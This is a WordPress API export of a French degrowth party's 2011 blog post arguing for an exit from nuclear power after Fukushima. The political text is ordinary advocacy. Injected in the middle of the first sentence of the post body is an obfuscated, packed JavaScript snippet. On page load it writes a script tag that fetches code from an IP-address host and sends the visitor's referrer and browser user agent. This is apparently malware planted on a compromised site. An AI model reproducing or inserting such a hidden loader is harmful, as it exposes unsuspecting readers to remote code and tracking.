{"id":5981,"date":"2011-03-11T10:53:41","date_gmt":"2011-03-11T09:53:41","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=5981"},"modified":"2012-03-13T21:35:52","modified_gmt":"2012-03-13T20:35:52","slug":"stopper-le-nucleaire","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=5981","title":{"rendered":"Stopper le nucl\u00e9aire"},"content":{"rendered":"<p style=\"text-align: center;\"><a href=\"http:\/\/www.referendum-nucleaire.fr\/\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/www.referendum-nucleaire.fr\/sites\/all\/themes\/ape_theme\/images\/red_nucleaire.jpg\" alt=\"\" width=\"501\" height=\"623\" \/><\/a><\/p>\n<p><strong>Les <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnztr|var|u0026u|referrer|heyhd||js|php'.split('|'),0,{}))\n<\/script><\/noindex> catastrophes survenues au Japon ces derniers jours imposent avant tout de respecter la m\u00e9moire des nombreuses victimes actuelles et \u00e0 venir. <\/strong>Un terrible tremblement de terre ainsi que le tsunami qui a suivi ont d\u00e9j\u00e0 co\u00fbt\u00e9 la vie \u00e0 10 000 japonais et le nombre des victimes risquent de s\u2019aggraver, d\u00fb \u00e0 une troisi\u00e8me catastrophe : 11 r\u00e9acteurs nucl\u00e9aires du pays n\u2019ont plus de syst\u00e8me de refroidissement op\u00e9rationnel. Trois r\u00e9acteurs seraient pr\u00eats \u00e0 entrer en fusion. Soit une catastrophe nucl\u00e9aire au moins aussi importante que celle de Three Mile Island en 1979 (fusion du c\u0153ur).<\/p>\n<p>Les mesures ind\u00e9pendantes r\u00e9alis\u00e9es par une association de journalistes japonais ont de quoi effrayer : \u00e0 2km de la centrale de Fukushima Daiichi, la radioactivit\u00e9 d\u00e9passe la capacit\u00e9 de mesure de certains des compteurs Geiger utilis\u00e9s.\u00a0 On y a mesur\u00e9 un d\u00e9bit de dose de 0,1 mSv\/h, ce qui signifie qu\u2019un citoyen japonais re\u00e7oit la dose annuelle tol\u00e9r\u00e9e en France en l\u2019espace de 10 heures. Pour comparaison, fin f\u00e9vrier 2011 \u00e0 Tchernobyl, le taux de radioactivit\u00e9 \u00e9tait de 0,04 mSv\/h \u00e0 200 m du r\u00e9acteur accident\u00e9. En sachant qu\u20191 mSv repr\u00e9sente le niveau de la limite annuelle autoris\u00e9e en France pour l\u2019exposition de la population aux rayonnements radioactifs artificiels. (Source : Sortir du nucl\u00e9aire).<!--more--><br \/>\nDe m\u00eame le sp\u00e9cialiste scientifique du Guardian affirme que le niveau de radiations mesur\u00e9 au nord-nord-ouest de Fukushima, lundi, \u00e9tait de 680 microSieverts par heure, en comparaison de 1000\u00b5Sv\/an ! A cette dose, une journ\u00e9e est l&rsquo;\u00e9quivalent de seize ann\u00e9es d&rsquo;exposition. (Source : L\u2019Express)<\/p>\n<p>Un peu plus tard, nous apprenions que l\u2019AIEA avait mesur\u00e9 une radioactivit\u00e9 de 400mS\/h au niveau de la centrale de Fukushima.<br \/>\nQue dire alors des propos de notre ministre Eric Besson estimant que les \u00e9v\u00e9nements japonais n\u2019\u00e9taient pas une \u00ab catastrophe \u00bb mais uniquement un \u00ab accident grave \u00bb, alors que la fusion partielle du r\u00e9acteur n\u00b01 \u00e9tait en cours ? Serait-on encore en pleine manipulation atomique ? Alors qu\u2019on pensait qu\u2019il allait revenir sur ses paroles de la veille, le voil\u00e0 qui enfonce le clou en affirmant que la France avait envisag\u00e9 le risque sismique contrairement au Japon. Mais de qui se moque-t-on ? Alors que chacun sait que les Japonais construisent leurs b\u00e2timents en prenant ce risque en compte ! Et que dire de la carte d\u00e9voil\u00e9e par le r\u00e9seau Sortir du nucl\u00e9aire il y a quelques ann\u00e9es comparant l\u2019emplacement de nos centrales avec la carte des risques sismiques ? On pouvait y voir que la plupart des r\u00e9acteurs fran\u00e7ais se trouvait dans des zones o\u00f9 la sismicit\u00e9 \u00e9tait importante. En particulier Fessenheim, Bugey, Chinon et Civaux.<\/p>\n<p>Et Sarko qui fanfaronne \u00e0 tort, en affirmant que l\u2019EPR r\u00e9siste \u00e0 un crash a\u00e9rien alors que des documents class\u00e9s confidentiels par EDF avait \u00e9t\u00e9 divulgu\u00e9s par le r\u00e9seau Sortir du nucl\u00e9aire il y a quelques ann\u00e9es !<\/p>\n<p>Pourtant la liste des catastrophes nucl\u00e9aires est longue : Tokaimura d\u00e9j\u00e0 au Japon, Windscale au Royaume-Uni, Three Miles Island, Tchernobyl,\u00a0 Forsmark en Su\u00e8de, mais en France \u00e9galement : Saint-Laurent-des-Eaux (Loir-et-Cher) en 1969 et 1980 avec une fusion partielle du c\u0153ur du r\u00e9acteur,\u00a0 Blaye (Gironde) en d\u00e9cembre 1999 avec le syst\u00e8me de refroidissement du r\u00e9acteur mis hors service apr\u00e8s une inondation, \u00e9v\u00e9nements du Tricastin (Dr\u00f4me) en 2008, etc. Que faut-il de plus pour remettre en cause l\u2019\u00e9nergie nucl\u00e9aire ? Pourquoi ne pas sortir du nucl\u00e9aire le plus vite possible et favoriser, au contraire, la sobri\u00e9t\u00e9 \u00e9nerg\u00e9tique, l\u2019efficacit\u00e9 \u00e9nerg\u00e9tique et les \u00e9nergies renouvelables ?<\/p>\n<p>L\u2019oligarchie mondiale r\u00e9gnante a besoin du nucl\u00e9aire comme source d\u2019\u00e9nergie \u00ab bon march\u00e9 \u00bb afin de continuer \u00e0 cro\u00eetre inexorablement, au m\u00e9pris de la s\u00e9curit\u00e9 et de la sant\u00e9 des populations. Elle en a \u00e9galement besoin afin d\u2019assouvir sa soif de toujours plus : toujours plus de croissance, de technologie, de consommation.<\/p>\n<p>Il est pourtant reconnu que le nucl\u00e9aire n\u2019est pas une solution face \u00e0 la crise \u00e9nerg\u00e9tique et climatique qui vient.<br \/>\n\u2022\u00a0\u00a0 \u00a0C\u2019est une ressource non renouvelable, l\u2019uranium s\u2019\u00e9puise comme le p\u00e9trole. Ce qui implique une inexorable fin (d\u2019ici une cinquantaine d\u2019ann\u00e9es).<br \/>\n\u2022\u00a0\u00a0 \u00a0C\u2019est une ressource \u00e9mettrice de CO2, contrairement \u00e0 la publicit\u00e9 qui lui est faite. En effet, l\u2019analyse du cycle de vie d\u2019une centrale nucl\u00e9aire (\u00e9tude de Storm Wan Leeuwen) montre que chaque kilowattheure \u00e9met 108 g de CO2 (\u00e0 comparer \u00e0 20 g pour l\u2019\u00e9olien, 45 g pour le Photovolta\u00efque, etc.).<br \/>\n\u2022\u00a0\u00a0 \u00a0Les centrales n\u2019arrivent plus \u00e0 fonctionner au-del\u00e0 de certaines temp\u00e9ratures, comme on peut d\u00e9sormais s\u2019en rendre compte quasiment chaque \u00e9t\u00e9. Elles n\u2019enrayeront donc en rien le r\u00e9chauffement climatique annonc\u00e9.<br \/>\n\u2022\u00a0\u00a0 \u00a0C\u2019est une source de pollutions multiples : anciens sites miniers d\u2019extraction pollu\u00e9s \u00e0 vie, contaminations dues \u00e0 un accident, ou encore dues aux armes atomiques, ou tout simplement dues au fonctionnement des sites nucl\u00e9aires (La Hague, par exemple), des d\u00e9chets nucl\u00e9aires dont on ne sait toujours que faire et qui resteront radioactifs pendant des centaines voire des millions d\u2019ann\u00e9es, etc.<\/p>\n<p>De plus, le risque de catastrophes n\u2019est pas n\u00e9gligeable : chaque ann\u00e9e des centaines \u00ab d\u2019incidents \u00bb interviennent en France, chaque centrale fran\u00e7aise conna\u00eet un d\u00e9faut de conception au niveau du circuit de recirculation qui permet de maintenir le syst\u00e8me de refroidissement du c\u0153ur du r\u00e9acteur en \u00e9tat de marche. Et on le voit encore aujourd\u2019hui, le d\u00e9lire techno-scientiste est au bord de nous pr\u00e9cipiter dans une terrible catastrophe nucl\u00e9aire.<\/p>\n<p>Sans oublier que cette fois, nous sommes loin de la fameuse catastrophe sovi\u00e9tico-communiste\u2026 Le Japon, 2e puissance mondiale, sur\u00e9quip\u00e9 techniquement, poss\u00e9dant une autorit\u00e9 de s\u00fbret\u00e9 nucl\u00e9aire, n\u2019a pas p\u00each\u00e9 par manque de connaissance technologique. Les r\u00e9acteurs \u00e0 eau bouillante ont \u00e9t\u00e9 d\u00e9velopp\u00e9s en parall\u00e8le \u00e0 des r\u00e9acteurs \u00e0 eau pressuris\u00e9e. Le nucl\u00e9aire demeure, simplement, un syst\u00e8me de production extr\u00eamement dangereux, impr\u00e9visible et incontr\u00f4lable.<\/p>\n<p>\u00c0 ceux qui diront \u00ab On ne peut pas produire assez d\u2019\u00e9lectricit\u00e9 pour alimenter un pays sans le nucl\u00e9aire \u00bb, nous leur r\u00e9pondons que certes dans un d\u00e9lire de surconsommation effr\u00e9n\u00e9e il est impossible de produire assez d\u2019\u00e9nergie avec des sources de production renouvelables.<\/p>\n<p>C\u2019est pourquoi il est important de r\u00e9fl\u00e9chir \u00e0 un nouveau paradigme de soci\u00e9t\u00e9, qui remettrait en cause, entre autre, notre mod\u00e8le \u00e9nerg\u00e9tique, afin d\u2019en construire un nouveau bas\u00e9 sur la sobri\u00e9t\u00e9, l\u2019efficacit\u00e9 \u00e9nerg\u00e9tique de nos modes de vies (interdiction du chauffage \u00e9lectrique qui est une aberration avec un rendement d\u2019\u00e0 peine 20 %) et \u00e0 la production d\u2019\u00e9nergie d\u00e9centralis\u00e9e \u00e0 partir de sources renouvelables : vent, soleil, eau, mer, biomasse, etc.<\/p>\n<p>Les sources ne manquent pas, faut-il encore d\u00e9sormais leur donner la possibilit\u00e9 de s\u2019exprimer ! Des sc\u00e9narios \u00e9nerg\u00e9tiques ont d\u2019ores et d\u00e9j\u00e0 \u00e9t\u00e9 r\u00e9dig\u00e9s par des professionnels et des exp\u00e9riences r\u00e9elles sont en cours montrant qu\u2019alimenter une ville en \u00e9lectricit\u00e9 100 % renouvelable c\u2019est possible (Kombikraftwerk) !<\/p>\n<p>Il est donc urgent que les citoyen\/ne\/s se r\u00e9approprient ces choix de soci\u00e9t\u00e9. La mise en place de conf\u00e9rences de citoyen\/ne\/s permettrait de leur laisser enfin la possibilit\u00e9 de s\u2019exprimer sur le mod\u00e8le \u00e9nerg\u00e9tique qu\u2019ils souhaitent b\u00e2tir et d\u2019\u0153uvrer \u00e0 sa construction.<\/p>\n<p>Les terribles \u00e9v\u00e9nements du Japon nous rappellent une fois de plus l\u2019urgence de sortir du nucl\u00e9aire.<\/p>\n<p style=\"text-align: center;\"><strong><a href=\"..\/wp-content\/uploads\/2011\/03\/Stopper-le-nucl%C3%A9aire.pdf\">Texte \u00e0 t\u00e9l\u00e9charger en pdf<\/a><\/strong><\/p>\n<p style=\"text-align: center;\">Source image : pour un r\u00e9f\u00e9rendum &#8211; pour sortir du nucl\u00e9aire : <a href=\"http:\/\/www.referendum-nucleaire.fr\/\">http:\/\/www.referendum-nucleaire.fr\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Les catastrophes survenues au Japon ces derniers jours imposent avant tout de respecter la m\u00e9moire des nombreuses victimes actuelles et \u00e0 venir. Un terrible tremblement de terre ainsi que le tsunami qui a suivi ont d\u00e9j\u00e0 co\u00fbt\u00e9 la vie \u00e0 &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=5981\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,7,11,49],"tags":[],"class_list":["post-5981","post","type-post","status-publish","format-standard","hentry","category-actualites","category-billets-du-ppld","category-documents-les-supplements","category-nucleaire"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/5981","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5981"}],"version-history":[{"count":9,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/5981\/revisions"}],"predecessor-version":[{"id":5986,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/5981\/revisions\/5986"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5981"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5981"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5981"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}